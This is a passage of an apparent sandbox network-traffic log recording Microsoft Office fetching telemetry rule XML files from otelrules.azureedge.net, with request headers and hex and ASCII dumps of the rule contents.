2024-10-07 11:17:49 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-07 11:17:49 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	50050	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:50 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:50 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: d4448e94-101e-00a2-2703-179f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111750Z-1657d5bbd48dfrdj7px744zp8s0000000360000000006251 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:17:50 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	50049	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:50 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:50 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:50 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 4545068c-701e-0050-0e05-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111750Z-1657d5bbd48dfrdj7px744zp8s0000000360000000006250 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:17:50 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	50051	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:50 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:50 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:50 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c62b5fc1-401e-0067-3a60-1709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111750Z-1657d5bbd48tqvfc1ysmtbdrg0000000035000000000eazy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:17:50 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	50052	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:50 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:50 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:50 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8aaf7b13-d01e-0028-46fd-167896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111750Z-1657d5bbd48gqrfwecymhhbfm8000000025000000000dsb3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:17:50 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	50053	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:50 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:50 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 28f6fc08-301e-0020-466a-176299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111750Z-1657d5bbd48gqrfwecymhhbfm8000000024g00000000d6ng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:17:50 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	50061	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:51 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:51 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 73fc0cc0-d01e-008e-5fee-16387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111751Z-1657d5bbd48xdq5dkwwugdpzr000000003qg00000000a07r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:17:51 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	50059	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:51 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3ea0840d-701e-0053-1012-173a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111751Z-1657d5bbd48vlsxxpe15ac3q7n00000003ag00000000bmxx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:17:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	50060	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:51 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:51 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 1707b783-801e-00a3-53e5-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111751Z-1657d5bbd48tnj6wmberkg2xy800000003hg000000003wgn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:17:51 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50062	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:51 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:51 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 15158de7-401e-0029-4b00-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111751Z-1657d5bbd48sqtlf1huhzuwq70000000032000000000cr4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:17:51 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	50063	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:51 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:51 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 87fc294c-201e-0051-40f3-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111751Z-1657d5bbd48jwrqbupe3ktsx9w00000003hg00000000c2e8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:17:51 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50069	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:51 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:17:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 915c1ee4-001e-0079-3000-1712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T111751Z-1657d5bbd48dfrdj7px744zp8s000000031000000000fekk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
